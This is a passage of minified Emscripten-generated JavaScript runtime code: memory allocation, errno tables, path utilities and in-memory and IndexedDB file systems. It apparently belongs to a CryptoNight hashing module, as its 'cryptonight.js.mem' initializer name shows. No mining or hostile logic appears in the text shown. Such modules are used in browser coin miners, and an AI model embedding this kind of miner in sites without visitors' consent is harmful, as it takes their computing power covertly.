work\"},stackAlloc:function(e){var r=STACKTOP;return STACKTOP=STACKTOP+e|0,STACKTOP=STACKTOP+15&-16,r},staticAlloc:function(e){var r=STATICTOP;return STATICTOP=STATICTOP+e|0,STATICTOP=STATICTOP+15&-16,r},dynamicAlloc:function(e){var r=HEAP32[DYNAMICTOP_PTR>>2],t=-16&(r+e+15|0);if(HEAP32[DYNAMICTOP_PTR>>2]=t,t>=TOTAL_MEMORY){if(!enlargeMemory())return HEAP32[DYNAMICTOP_PTR>>2]=r,0}return r},alignMemory:function(e,r){return e=Math.ceil(e/(r||16))*(r||16)},makeBigInt:function(e,r,t){return t?+(e>>>0)+4294967296*+(r>>>0):+(e>>>0)+4294967296*+(0|r)},GLOBAL_BASE:1024,QUANTUM_SIZE:4,__dummy__:0};Module.Runtime=Runtime;var ABORT=0,EXITSTATUS=0,cwrap,ccall;!function(){function parseJSFunc(e){var r=e.toString().match(sourceRegex).slice(1);return{arguments:r[0],body:r[1],returnValue:r[2]}}function ensureJSsource(){if(!JSsource){JSsource={};for(var e in JSfuncs)JSfuncs.hasOwnProperty(e)&&(JSsource[e]=parseJSFunc(JSfuncs[e]))}}var JSfuncs={stackSave:function(){Runtime.stackSave()},stackRestore:function(){Runtime.stackRestore()},arrayToC:function(e){var r=Runtime.stackAlloc(e.length);return writeArrayToMemory(e,r),r},stringToC:function(e){var r=0;if(null!==e&&void 0!==e&&0!==e){var t=1+(e.length<<2);stringToUTF8(e,r=Runtime.stackAlloc(t),t)}return r}},toC={string:JSfuncs.stringToC,array:JSfuncs.arrayToC};ccall=function(e,r,t,n,o){var i=getCFunc(e),a=[],s=0;if(n)for(var u=0;u<n.length;u++){var l=toC[t[u]];l?(0===s&&(s=Runtime.stackSave()),a[u]=l(n[u])):a[u]=n[u]}var c=i.apply(null,a);if(\"string\"===r&&(c=Pointer_stringify(c)),0!==s){if(o&&o.async)return void EmterpreterAsync.asyncFinalizers.push(function(){Runtime.stackRestore(s)});Runtime.stackRestore(s)}return c};var sourceRegex=/^function\\s*[a-zA-Z$_0-9]*\\s*\\(([^)]*)\\)\\s*\\{\\s*([^*]*?)[\\s;]*(?:return\\s*(.*?)[;\\s]*)?\\}$/,JSsource=null;cwrap=function cwrap(ident,returnType,argTypes){argTypes=argTypes||[];var cfunc=getCFunc(ident),numericArgs=argTypes.every(function(e){return\"number\"===e}),numericRet=\"string\"!==returnType;if(numericRet&&numericArgs)return cfunc;var argNames=argTypes.map(function(e,r){return\"$\"+r}),funcstr=\"(function(\"+argNames.join(\",\")+\") {\",nargs=argTypes.length;if(!numericArgs){ensureJSsource(),funcstr+=\"var stack = \"+JSsource.stackSave.body+\";\";for(var i=0;i<nargs;i++){var arg=argNames[i],type=argTypes[i];if(\"number\"!==type){var convertCode=JSsource[type+\"ToC\"];funcstr+=\"var \"+convertCode.arguments+\" = \"+arg+\";\",funcstr+=convertCode.body+\";\",funcstr+=arg+\"=(\"+convertCode.returnValue+\");\"}}}var cfuncname=parseJSFunc(function(){return cfunc}).returnValue;if(funcstr+=\"var ret = \"+cfuncname+\"(\"+argNames.join(\",\")+\");\",!numericRet){var strgfy=parseJSFunc(function(){return Pointer_stringify}).returnValue;funcstr+=\"ret = \"+strgfy+\"(ret);\"}return numericArgs||(ensureJSsource(),funcstr+=JSsource.stackRestore.body.replace(\"()\",\"(stack)\")+\";\"),funcstr+=\"return ret})\",eval(funcstr)}}(),Module.ccall=ccall,Module.cwrap=cwrap,Module.setValue=setValue,Module.getValue=getValue;var ALLOC_NORMAL=0,ALLOC_STACK=1,ALLOC_STATIC=2,ALLOC_DYNAMIC=3,ALLOC_NONE=4;Module.ALLOC_NORMAL=ALLOC_NORMAL,Module.ALLOC_STACK=ALLOC_STACK,Module.ALLOC_STATIC=ALLOC_STATIC,Module.ALLOC_DYNAMIC=ALLOC_DYNAMIC,Module.ALLOC_NONE=ALLOC_NONE,Module.allocate=allocate,Module.getMemory=getMemory,Module.Pointer_stringify=Pointer_stringify,Module.AsciiToString=AsciiToString,Module.stringToAscii=stringToAscii;var UTF8Decoder=\"undefined\"!=typeof TextDecoder?new TextDecoder(\"utf8\"):void 0;Module.UTF8ArrayToString=UTF8ArrayToString,Module.UTF8ToString=UTF8ToString,Module.stringToUTF8Array=stringToUTF8Array,Module.stringToUTF8=stringToUTF8,Module.lengthBytesUTF8=lengthBytesUTF8;var UTF16Decoder=\"undefined\"!=typeof TextDecoder?new TextDecoder(\"utf-16le\"):void 0;Module.stackTrace=stackTrace;var WASM_PAGE_SIZE=65536,ASMJS_PAGE_SIZE=16777216,HEAP,buffer,HEAP8,HEAPU8,HEAP16,HEAPU16,HEAP32,HEAPU32,HEAPF32,HEAPF64,STATIC_BASE,STATICTOP,staticSealed,STACK_BASE,STACKTOP,STACK_MAX,DYNAMIC_BASE,DYNAMICTOP_PTR;STATIC_BASE=STATICTOP=STACK_BASE=STACKTOP=STACK_MAX=DYNAMIC_BASE=DYNAMICTOP_PTR=0,staticSealed=!1;var TOTAL_STACK=Module.TOTAL_STACK||5242880,TOTAL_MEMORY=Module.TOTAL_MEMORY||16777216;if(TOTAL_MEMORY<TOTAL_STACK&&Module.printErr(\"TOTAL_MEMORY should be larger than TOTAL_STACK, was \"+TOTAL_MEMORY+\"! (TOTAL_STACK=\"+TOTAL_STACK+\")\"),Module.buffer?buffer=Module.buffer:\"object\"==typeof WebAssembly&&\"function\"==typeof WebAssembly.Memory?(Module.wasmMemory=new WebAssembly.Memory({initial:TOTAL_MEMORY/WASM_PAGE_SIZE,maximum:TOTAL_MEMORY/WASM_PAGE_SIZE}),buffer=Module.wasmMemory.buffer):buffer=new ArrayBuffer(TOTAL_MEMORY),updateGlobalBufferViews(),HEAP32[0]=1668509029,HEAP16[1]=25459,115!==HEAPU8[2]||99!==HEAPU8[3])throw\"Runtime error: expected the system to be little-endian!\";Module.HEAP=HEAP,Module.buffer=buffer,Module.HEAP8=HEAP8,Module.HEAP16=HEAP16,Module.HEAP32=HEAP32,Module.HEAPU8=HEAPU8,Module.HEAPU16=HEAPU16,Module.HEAPU32=HEAPU32,Module.HEAPF32=HEAPF32,Module.HEAPF64=HEAPF64;var __ATPRERUN__=[],__ATINIT__=[],__ATMAIN__=[],__ATEXIT__=[],__ATPOSTRUN__=[],runtimeInitialized=!1,runtimeExited=!1;if(Module.addOnPreRun=addOnPreRun,Module.addOnInit=addOnInit,Module.addOnPreMain=addOnPreMain,Module.addOnExit=addOnExit,Module.addOnPostRun=addOnPostRun,Module.intArrayFromString=intArrayFromString,Module.intArrayToString=intArrayToString,Module.writeStringToMemory=writeStringToMemory,Module.writeArrayToMemory=writeArrayToMemory,Module.writeAsciiToMemory=writeAsciiToMemory,Math.imul&&-5===Math.imul(4294967295,5)||(Math.imul=function(e,r){var t=65535&e,n=65535&r;return t*n+((e>>>16)*n+t*(r>>>16)<<16)|0}),Math.imul=Math.imul,!Math.fround){var froundBuffer=new Float32Array(1);Math.fround=function(e){return froundBuffer[0]=e,froundBuffer[0]}}Math.fround=Math.fround,Math.clz32||(Math.clz32=function(e){e>>>=0;for(var r=0;r<32;r++)if(e&1<<31-r)return r;return 32}),Math.clz32=Math.clz32,Math.trunc||(Math.trunc=function(e){return e<0?Math.ceil(e):Math.floor(e)}),Math.trunc=Math.trunc;var Math_abs=Math.abs,Math_cos=Math.cos,Math_sin=Math.sin,Math_tan=Math.tan,Math_acos=Math.acos,Math_asin=Math.asin,Math_atan=Math.atan,Math_atan2=Math.atan2,Math_exp=Math.exp,Math_log=Math.log,Math_sqrt=Math.sqrt,Math_ceil=Math.ceil,Math_floor=Math.floor,Math_pow=Math.pow,Math_imul=Math.imul,Math_fround=Math.fround,Math_round=Math.round,Math_min=Math.min,Math_clz32=Math.clz32,Math_trunc=Math.trunc,runDependencies=0,runDependencyWatcher=null,dependenciesFulfilled=null;Module.addRunDependency=addRunDependency,Module.removeRunDependency=removeRunDependency,Module.preloadedImages={},Module.preloadedAudios={};var memoryInitializer=null;integrateWasmJS(Module);var ASM_CONSTS=[];STATIC_BASE=Runtime.GLOBAL_BASE,STATICTOP=STATIC_BASE+12512,__ATINIT__.push(),memoryInitializer=Module.wasmJSMethod.indexOf(\"asmjs\")>=0||Module.wasmJSMethod.indexOf(\"interpret-asm2wasm\")>=0?\"cryptonight.js.mem\":null;var STATIC_BUMP=12512;Module.STATIC_BASE=STATIC_BASE,Module.STATIC_BUMP=STATIC_BUMP;var tempDoublePtr=STATICTOP;STATICTOP+=16;var PROCINFO={ppid:1,pid:42,sid:42,pgid:42},ERRNO_CODES={EPERM:1,ENOENT:2,ESRCH:3,EINTR:4,EIO:5,ENXIO:6,E2BIG:7,ENOEXEC:8,EBADF:9,ECHILD:10,EAGAIN:11,EWOULDBLOCK:11,ENOMEM:12,EACCES:13,EFAULT:14,ENOTBLK:15,EBUSY:16,EEXIST:17,EXDEV:18,ENODEV:19,ENOTDIR:20,EISDIR:21,EINVAL:22,ENFILE:23,EMFILE:24,ENOTTY:25,ETXTBSY:26,EFBIG:27,ENOSPC:28,ESPIPE:29,EROFS:30,EMLINK:31,EPIPE:32,EDOM:33,ERANGE:34,ENOMSG:42,EIDRM:43,ECHRNG:44,EL2NSYNC:45,EL3HLT:46,EL3RST:47,ELNRNG:48,EUNATCH:49,ENOCSI:50,EL2HLT:51,EDEADLK:35,ENOLCK:37,EBADE:52,EBADR:53,EXFULL:54,ENOANO:55,EBADRQC:56,EBADSLT:57,EDEADLOCK:35,EBFONT:59,ENOSTR:60,ENODATA:61,ETIME:62,ENOSR:63,ENONET:64,ENOPKG:65,EREMOTE:66,ENOLINK:67,EADV:68,ESRMNT:69,ECOMM:70,EPROTO:71,EMULTIHOP:72,EDOTDOT:73,EBADMSG:74,ENOTUNIQ:76,EBADFD:77,EREMCHG:78,ELIBACC:79,ELIBBAD:80,ELIBSCN:81,ELIBMAX:82,ELIBEXEC:83,ENOSYS:38,ENOTEMPTY:39,ENAMETOOLONG:36,ELOOP:40,EOPNOTSUPP:95,EPFNOSUPPORT:96,ECONNRESET:104,ENOBUFS:105,EAFNOSUPPORT:97,EPROTOTYPE:91,ENOTSOCK:88,ENOPROTOOPT:92,ESHUTDOWN:108,ECONNREFUSED:111,EADDRINUSE:98,ECONNABORTED:103,ENETUNREACH:101,ENETDOWN:100,ETIMEDOUT:110,EHOSTDOWN:112,EHOSTUNREACH:113,EINPROGRESS:115,EALREADY:114,EDESTADDRREQ:89,EMSGSIZE:90,EPROTONOSUPPORT:93,ESOCKTNOSUPPORT:94,EADDRNOTAVAIL:99,ENETRESET:102,EISCONN:106,ENOTCONN:107,ETOOMANYREFS:109,EUSERS:87,EDQUOT:122,ESTALE:116,ENOTSUP:95,ENOMEDIUM:123,EILSEQ:84,EOVERFLOW:75,ECANCELED:125,ENOTRECOVERABLE:131,EOWNERDEAD:130,ESTRPIPE:86},ERRNO_MESSAGES={0:\"Success\",1:\"Not super-user\",2:\"No such file or directory\",3:\"No such process\",4:\"Interrupted system call\",5:\"I/O error\",6:\"No such device or address\",7:\"Arg list too long\",8:\"Exec format error\",9:\"Bad file number\",10:\"No children\",11:\"No more processes\",12:\"Not enough core\",13:\"Permission denied\",14:\"Bad address\",15:\"Block device required\",16:\"Mount device busy\",17:\"File exists\",18:\"Cross-device link\",19:\"No such device\",20:\"Not a directory\",21:\"Is a directory\",22:\"Invalid argument\",23:\"Too many open files in system\",24:\"Too many open files\",25:\"Not a typewriter\",26:\"Text file busy\",27:\"File too large\",28:\"No space left on device\",29:\"Illegal seek\",30:\"Read only file system\",31:\"Too many links\",32:\"Broken pipe\",33:\"Math arg out of domain of func\",34:\"Math result not representable\",35:\"File locking deadlock error\",36:\"File or path name too long\",37:\"No record locks available\",38:\"Function not implemented\",39:\"Directory not empty\",40:\"Too many symbolic links\",42:\"No message of desired type\",43:\"Identifier removed\",44:\"Channel number out of range\",45:\"Level 2 not synchronized\",46:\"Level 3 halted\",47:\"Level 3 reset\",48:\"Link number out of range\",49:\"Protocol driver not attached\",50:\"No CSI structure available\",51:\"Level 2 halted\",52:\"Invalid exchange\",53:\"Invalid request descriptor\",54:\"Exchange full\",55:\"No anode\",56:\"Invalid request code\",57:\"Invalid slot\",59:\"Bad font file fmt\",60:\"Device not a stream\",61:\"No data (for no delay io)\",62:\"Timer expired\",63:\"Out of streams resources\",64:\"Machine is not on the network\",65:\"Package not installed\",66:\"The object is remote\",67:\"The link has been severed\",68:\"Advertise error\",69:\"Srmount error\",70:\"Communication error on send\",71:\"Protocol error\",72:\"Multihop attempted\",73:\"Cross mount point (not really error)\",74:\"Trying to read unreadable message\",75:\"Value too large for defined data type\",76:\"Given log. name not unique\",77:\"f.d. invalid for this operation\",78:\"Remote address changed\",79:\"Can access a needed shared lib\",80:\"Accessing a corrupted shared lib\",81:\".lib section in a.out corrupted\",82:\"Attempting to link in too many libs\",83:\"Attempting to exec a shared library\",84:\"Illegal byte sequence\",86:\"Streams pipe error\",87:\"Too many users\",88:\"Socket operation on non-socket\",89:\"Destination address required\",90:\"Message too long\",91:\"Protocol wrong type for socket\",92:\"Protocol not available\",93:\"Unknown protocol\",94:\"Socket type not supported\",95:\"Not supported\",96:\"Protocol family not supported\",97:\"Address family not supported by protocol family\",98:\"Address already in use\",99:\"Address not available\",100:\"Network interface is not configured\",101:\"Network is unreachable\",102:\"Connection reset by network\",103:\"Connection aborted\",104:\"Connection reset by peer\",105:\"No buffer space available\",106:\"Socket is already connected\",107:\"Socket is not connected\",108:\"Can't send after socket shutdown\",109:\"Too many references\",110:\"Connection timed out\",111:\"Connection refused\",112:\"Host is down\",113:\"Host is unreachable\",114:\"Socket already connected\",115:\"Connection already in progress\",116:\"Stale file handle\",122:\"Quota exceeded\",123:\"No medium (in tape drive)\",125:\"Operation canceled\",130:\"Previous owner died\",131:\"State not recoverable\"},PATH={splitPath:function(e){return/^(\\/?|)([\\s\\S]*?)((?:\\.{1,2}|[^\\/]+?|)(\\.[^.\\/]*|))(?:[\\/]*)$/.exec(e).slice(1)},normalizeArray:function(e,r){for(var t=0,n=e.length-1;n>=0;n--){var o=e[n];\".\"===o?e.splice(n,1):\"..\"===o?(e.splice(n,1),t++):t&&(e.splice(n,1),t--)}if(r)for(;t;t--)e.unshift(\"..\");return e},normalize:function(e){var r=\"/\"===e.charAt(0),t=\"/\"===e.substr(-1);return(e=PATH.normalizeArray(e.split(\"/\").filter(function(e){return!!e}),!r).join(\"/\"))||r||(e=\".\"),e&&t&&(e+=\"/\"),(r?\"/\":\"\")+e},dirname:function(e){var r=PATH.splitPath(e),t=r[0],n=r[1];return t||n?(n&&(n=n.substr(0,n.length-1)),t+n):\".\"},basename:function(e){if(\"/\"===e)return\"/\";var r=e.lastIndexOf(\"/\");return-1===r?e:e.substr(r+1)},extname:function(e){return PATH.splitPath(e)[3]},join:function(){var e=Array.prototype.slice.call(arguments,0);return PATH.normalize(e.join(\"/\"))},join2:function(e,r){return PATH.normalize(e+\"/\"+r)},resolve:function(){for(var e=\"\",r=!1,t=arguments.length-1;t>=-1&&!r;t--){var n=t>=0?arguments[t]:FS.cwd();if(\"string\"!=typeof n)throw new TypeError(\"Arguments to path.resolve must be strings\");if(!n)return\"\";e=n+\"/\"+e,r=\"/\"===n.charAt(0)}return e=PATH.normalizeArray(e.split(\"/\").filter(function(e){return!!e}),!r).join(\"/\"),(r?\"/\":\"\")+e||\".\"},relative:function(e,r){function t(e){for(var r=0;r<e.length&&\"\"===e[r];r++);for(var t=e.length-1;t>=0&&\"\"===e[t];t--);return r>t?[]:e.slice(r,t-r+1)}e=PATH.resolve(e).substr(1),r=PATH.resolve(r).substr(1);for(var n=t(e.split(\"/\")),o=t(r.split(\"/\")),i=Math.min(n.length,o.length),a=i,s=0;s<i;s++)if(n[s]!==o[s]){a=s;break}var u=[];for(s=a;s<n.length;s++)u.push(\"..\");return(u=u.concat(o.slice(a))).join(\"/\")}},TTY={ttys:[],init:function(){},shutdown:function(){},register:function(e,r){TTY.ttys[e]={input:[],output:[],ops:r},FS.registerDevice(e,TTY.stream_ops)},stream_ops:{open:function(e){var r=TTY.ttys[e.node.rdev];if(!r)throw new FS.ErrnoError(ERRNO_CODES.ENODEV);e.tty=r,e.seekable=!1},close:function(e){e.tty.ops.flush(e.tty)},flush:function(e){e.tty.ops.flush(e.tty)},read:function(e,r,t,n,o){if(!e.tty||!e.tty.ops.get_char)throw new FS.ErrnoError(ERRNO_CODES.ENXIO);for(var i=0,a=0;a<n;a++){var s;try{s=e.tty.ops.get_char(e.tty)}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}if(void 0===s&&0===i)throw new FS.ErrnoError(ERRNO_CODES.EAGAIN);if(null===s||void 0===s)break;i++,r[t+a]=s}return i&&(e.node.timestamp=Date.now()),i},write:function(e,r,t,n,o){if(!e.tty||!e.tty.ops.put_char)throw new FS.ErrnoError(ERRNO_CODES.ENXIO);for(var i=0;i<n;i++)try{e.tty.ops.put_char(e.tty,r[t+i])}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}return n&&(e.node.timestamp=Date.now()),i}},default_tty_ops:{get_char:function(e){if(!e.input.length){var r=null;if(\"undefined\"!=typeof window&&\"function\"==typeof window.prompt?null!==(r=window.prompt(\"Input: \"))&&(r+=\"\\n\"):\"function\"==typeof readline&&null!==(r=readline())&&(r+=\"\\n\"),!r)return null;e.input=intArrayFromString(r,!0)}return e.input.shift()},put_char:function(e,r){null===r||10===r?(Module.print(UTF8ArrayToString(e.output,0)),e.output=[]):0!=r&&e.output.push(r)},flush:function(e){e.output&&e.output.length>0&&(Module.print(UTF8ArrayToString(e.output,0)),e.output=[])}},default_tty1_ops:{put_char:function(e,r){null===r||10===r?(Module.printErr(UTF8ArrayToString(e.output,0)),e.output=[]):0!=r&&e.output.push(r)},flush:function(e){e.output&&e.output.length>0&&(Module.printErr(UTF8ArrayToString(e.output,0)),e.output=[])}}},MEMFS={ops_table:null,mount:function(e){return MEMFS.createNode(null,\"/\",16895,0)},createNode:function(e,r,t,n){if(FS.isBlkdev(t)||FS.isFIFO(t))throw new FS.ErrnoError(ERRNO_CODES.EPERM);MEMFS.ops_table||(MEMFS.ops_table={dir:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,lookup:MEMFS.node_ops.lookup,mknod:MEMFS.node_ops.mknod,rename:MEMFS.node_ops.rename,unlink:MEMFS.node_ops.unlink,rmdir:MEMFS.node_ops.rmdir,readdir:MEMFS.node_ops.readdir,symlink:MEMFS.node_ops.symlink},stream:{llseek:MEMFS.stream_ops.llseek}},file:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:{llseek:MEMFS.stream_ops.llseek,read:MEMFS.stream_ops.read,write:MEMFS.stream_ops.write,allocate:MEMFS.stream_ops.allocate,mmap:MEMFS.stream_ops.mmap,msync:MEMFS.stream_ops.msync}},link:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,readlink:MEMFS.node_ops.readlink},stream:{}},chrdev:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:FS.chrdev_stream_ops}});var o=FS.createNode(e,r,t,n);return FS.isDir(o.mode)?(o.node_ops=MEMFS.ops_table.dir.node,o.stream_ops=MEMFS.ops_table.dir.stream,o.contents={}):FS.isFile(o.mode)?(o.node_ops=MEMFS.ops_table.file.node,o.stream_ops=MEMFS.ops_table.file.stream,o.usedBytes=0,o.contents=null):FS.isLink(o.mode)?(o.node_ops=MEMFS.ops_table.link.node,o.stream_ops=MEMFS.ops_table.link.stream):FS.isChrdev(o.mode)&&(o.node_ops=MEMFS.ops_table.chrdev.node,o.stream_ops=MEMFS.ops_table.chrdev.stream),o.timestamp=Date.now(),e&&(e.contents[r]=o),o},getFileDataAsRegularArray:function(e){if(e.contents&&e.contents.subarray){for(var r=[],t=0;t<e.usedBytes;++t)r.push(e.contents[t]);return r}return e.contents},getFileDataAsTypedArray:function(e){return e.contents?e.contents.subarray?e.contents.subarray(0,e.usedBytes):new Uint8Array(e.contents):new Uint8Array},expandFileStorage:function(e,r){if(e.contents&&e.contents.subarray&&r>e.contents.length&&(e.contents=MEMFS.getFileDataAsRegularArray(e),e.usedBytes=e.contents.length),!e.contents||e.contents.subarray){var t=e.contents?e.contents.length:0;if(t>=r)return;r=Math.max(r,t*(t<1048576?2:1.125)|0),0!=t&&(r=Math.max(r,256));var n=e.contents;return e.contents=new Uint8Array(r),void(e.usedBytes>0&&e.contents.set(n.subarray(0,e.usedBytes),0))}for(!e.contents&&r>0&&(e.contents=[]);e.contents.length<r;)e.contents.push(0)},resizeFileStorage:function(e,r){if(e.usedBytes!=r){if(0==r)return e.contents=null,void(e.usedBytes=0);if(!e.contents||e.contents.subarray){var t=e.contents;return e.contents=new Uint8Array(new ArrayBuffer(r)),t&&e.contents.set(t.subarray(0,Math.min(r,e.usedBytes))),void(e.usedBytes=r)}if(e.contents||(e.contents=[]),e.contents.length>r)e.contents.length=r;else for(;e.contents.length<r;)e.contents.push(0);e.usedBytes=r}},node_ops:{getattr:function(e){var r={};return r.dev=FS.isChrdev(e.mode)?e.id:1,r.ino=e.id,r.mode=e.mode,r.nlink=1,r.uid=0,r.gid=0,r.rdev=e.rdev,FS.isDir(e.mode)?r.size=4096:FS.isFile(e.mode)?r.size=e.usedBytes:FS.isLink(e.mode)?r.size=e.link.length:r.size=0,r.atime=new Date(e.timestamp),r.mtime=new Date(e.timestamp),r.ctime=new Date(e.timestamp),r.blksize=4096,r.blocks=Math.ceil(r.size/r.blksize),r},setattr:function(e,r){void 0!==r.mode&&(e.mode=r.mode),void 0!==r.timestamp&&(e.timestamp=r.timestamp),void 0!==r.size&&MEMFS.resizeFileStorage(e,r.size)},lookup:function(e,r){throw FS.genericErrors[ERRNO_CODES.ENOENT]},mknod:function(e,r,t,n){return MEMFS.createNode(e,r,t,n)},rename:function(e,r,t){if(FS.isDir(e.mode)){var n;try{n=FS.lookupNode(r,t)}catch(e){}if(n)for(var o in n.contents)throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)}delete e.parent.contents[e.name],e.name=t,r.contents[t]=e,e.parent=r},unlink:function(e,r){delete e.contents[r]},rmdir:function(e,r){var t=FS.lookupNode(e,r);for(var n in t.contents)throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY);delete e.contents[r]},readdir:function(e){var r=[\".\",\"..\"];for(var t in e.contents)e.contents.hasOwnProperty(t)&&r.push(t);return r},symlink:function(e,r,t){var n=MEMFS.createNode(e,r,41471,0);return n.link=t,n},readlink:function(e){if(!FS.isLink(e.mode))throw new FS.ErrnoError(ERRNO_CODES.EINVAL);return e.link}},stream_ops:{read:function(e,r,t,n,o){var i=e.node.contents;if(o>=e.node.usedBytes)return 0;var a=Math.min(e.node.usedBytes-o,n);if(assert(a>=0),a>8&&i.subarray)r.set(i.subarray(o,o+a),t);else for(var s=0;s<a;s++)r[t+s]=i[o+s];return a},write:function(e,r,t,n,o,i){if(!n)return 0;var a=e.node;if(a.timestamp=Date.now(),r.subarray&&(!a.contents||a.contents.subarray)){if(i)return a.contents=r.subarray(t,t+n),a.usedBytes=n,n;if(0===a.usedBytes&&0===o)return a.contents=new Uint8Array(r.subarray(t,t+n)),a.usedBytes=n,n;if(o+n<=a.usedBytes)return a.contents.set(r.subarray(t,t+n),o),n}if(MEMFS.expandFileStorage(a,o+n),a.contents.subarray&&r.subarray)a.contents.set(r.subarray(t,t+n),o);else for(var s=0;s<n;s++)a.contents[o+s]=r[t+s];return a.usedBytes=Math.max(a.usedBytes,o+n),n},llseek:function(e,r,t){var n=r;if(1===t?n+=e.position:2===t&&FS.isFile(e.node.mode)&&(n+=e.node.usedBytes),n<0)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);return n},allocate:function(e,r,t){MEMFS.expandFileStorage(e.node,r+t),e.node.usedBytes=Math.max(e.node.usedBytes,r+t)},mmap:function(e,r,t,n,o,i,a){if(!FS.isFile(e.node.mode))throw new FS.ErrnoError(ERRNO_CODES.ENODEV);var s,u,l=e.node.contents;if(2&a||l.buffer!==r&&l.buffer!==r.buffer){if((o>0||o+n<e.node.usedBytes)&&(l=l.subarray?l.subarray(o,o+n):Array.prototype.slice.call(l,o,o+n)),u=!0,!(s=_malloc(n)))throw new FS.ErrnoError(ERRNO_CODES.ENOMEM);r.set(l,s)}else u=!1,s=l.byteOffset;return{ptr:s,allocated:u}},msync:function(e,r,t,n,o){if(!FS.isFile(e.node.mode))throw new FS.ErrnoError(ERRNO_CODES.ENODEV);if(2&o)return 0;MEMFS.stream_ops.write(e,r,0,n,t,!1);return 0}}},IDBFS={dbs:{},indexedDB:function(){if(\"undefined\"!=typeof indexedDB)return indexedDB;var e=null;return\"object\"==typeof window&&(e=window.indexedDB||window.mozIndexedDB||window.webkitIndexedDB||window.msIndexedDB),assert(e,\"IDBFS used, but indexedDB not supported\"),e},DB_VERSION:21,DB_STORE_NAME:\"FILE_DATA\",mount:function(e){return MEMFS.mount.apply(null,arguments)},syncfs:function(e,r,t){IDBFS.getLocalSet(e,function(n,o){if(n)return t(n);IDBFS.getRemoteSet(e,function(e,n){if(e)return t(e);var i=r?n:o,a=r?o:n;IDBFS.reconcile(i,a,t)})})},getDB:function(e,r){var t=IDBFS.dbs[e];if(t)return r(null,t);var n;try{n=IDBFS.indexedDB().open(e,IDBFS.DB_VERSION)}catch(e){return r(e)}if(!n)return r(\"Unable to connect to IndexedDB\");n.onupgradeneeded=function(e){var r,t=e.target.result,n=e.target.transaction;(r=t.objectStoreNames.contains(IDBFS.DB_STORE_NAME)?n.objectStore(IDBFS.DB_STORE_NAME):t.createObjectStore(IDBFS.DB_STORE_NAME)).indexNames.contains(\"timestamp\")||r.createIndex(\"timestamp\",\"timestamp\",{unique:!1})},n.onsuccess=function(){t=n.result,IDBFS.dbs[e]=t,r(null,t)},n.onerror=function(e){r(this.error),e.preventDefault()}},getLocalSet:function(e,r){function t(e){return\".\"!==e&&\"..\"!==e}function n(e){return function(r){return PATH.join2(e,r)}}for(var o={},i=FS.readdir(e.mountpoint).filter(t).map(n(e.mountpoint));i.length;){var a,s=i.pop();try{a=FS.stat(s)}catch(e){return r(e)}FS.isDir(a.mode)&&i.push.apply(i,FS.readdir(s).filter(t).map(n(s))),o[s]={timestamp:a.mtime}}return r(null,{type:\"local\",entries:o})},getRemoteSet:function(e,r){var t={};IDBFS.getDB(e.mountpoint,function(e,n){if(e)return r(e);var o=n.transaction([IDBFS.DB_STORE_NAME],\"readonly\");o.onerror=function(e){r(this.error),e.preventDefault()};o.objectStore(IDBFS.DB_STORE_NAME).index(\"timestamp\").openKeyCursor().onsuccess=function(e){var o=e.target.result;if(!o)return r(null,{type:\"remote\",db:n,entries:t});t[o.primaryKey]={timestamp:o.key},o.continue()}})},loadLocalEntry:function(e,r){var t,n;try{n=FS.lookupPath(e).node,t=FS.stat(e)}catch(e){return r(e)}return FS.isDir(t.mode)?r(null,{timestamp:t.mtime,mode:t.mode}):FS.isFile(t.mode)?(n.contents=MEMFS.getFileDataAsTypedArray(n),r(null,{timestamp:t.mtime,mode:t.mode,contents:n.contents})):r(new Error(\"node type not supported\"))},storeLocalEntry:function(e,r,t){try{if(FS.isDir(r.mode))FS.mkdir(e,r.mode);else{if(!FS.isFile(r.mode))return t(new Error(\"node type not supported\"));FS.writeFile(e,r.contents,{encoding:\"binary\",canOwn:!0})}FS.chmod(e,r.mode),FS.utime(e,r.timestamp,r.timestamp)}catch(e){return t(e)}t(null)},removeLocalEntry:function(e,r){try{FS.lookupPath(e);var t=FS.stat(e);FS.isDir(t.mode)?FS.rmdir(e):FS.isFile(t.mode)&&FS.unlink(e)}catch(e){return r(e)}r(null)},loadRemoteEntry:function(e,r,t){var n=e.get(r);n.onsuccess=function(e){t(null,e.target.result)},n.onerror=function(e){t(this.error),e.preventDefault()}},storeRemoteEntry:function(e,r,t,n){var o=e.put(t,r);o.onsuccess=function(){n(null)},o.onerror=function(e){n(this.error),e.preventDefault()}},removeRemoteEntry:function(e,r,t){var n=e.delete(r);n.onsuccess=function(){t(null)},n.onerror=function(e){t(this.error),e.preventDefault()}},reconcile:function(e,r,t){function n(e){if(e){if(!n.errored)return n.errored=!0,t(e)}else if(++s>=o)return t(null)}var o=0,i=[];Object.keys(e.entries).forEach(function(t){var n=e.entries[t],a=r.entries[t];(!a||n.timestamp>a.timestamp)&&(i.push(t),o++)});var a=[];if(Object.keys(r.entries).forEach(function(t){r.entries[t];e.entries[t]||(a.push(t),o++)}),!o)return t(null);var s=0,u=(\"remote\"===e.type?e.db:r.db).transaction([IDBFS.DB_STORE_NAME],\"readwrite\"),l=u.objectStore(IDBFS.DB_STORE_NAME);u.onerror=function(e){n(this.error),e.preventDefault()},i.sort().forEach(function(e){\"local\"===r.type?IDBFS.loadRemoteEntry(l,e,function(r,t){if(r)return n(r);IDBFS.storeLocalEntry(e,t,n)}):IDBFS.loadLocalEntry(e,function(r,t){if(r)return n(r);IDBFS.storeRemoteEntry(l,e,t,n)})}),a.sort().reverse().forEach(function(e){\"local\"===r.type?IDBFS.removeLocalEntry(e,n):IDBFS.removeRemoteEntry(l,e,n)})}},NODEFS={isWindows:!1,staticInit:function(){NODEFS.isWindows=!!process.platform.match(/^win/)},mount:function(e){return assert(ENVIRONMENT_IS_NODE),NODEFS.createNode(null,\"/\",NODEFS.getMode(e.opts.root),0)},createNode:function(e,r,t,n){if(!FS.isDir(t)&&!FS.isFile(t)&&!FS.isLink(t))throw new FS.ErrnoError(ERRNO_CODES.EINVAL);var o=FS.createNode(e,r,t);return 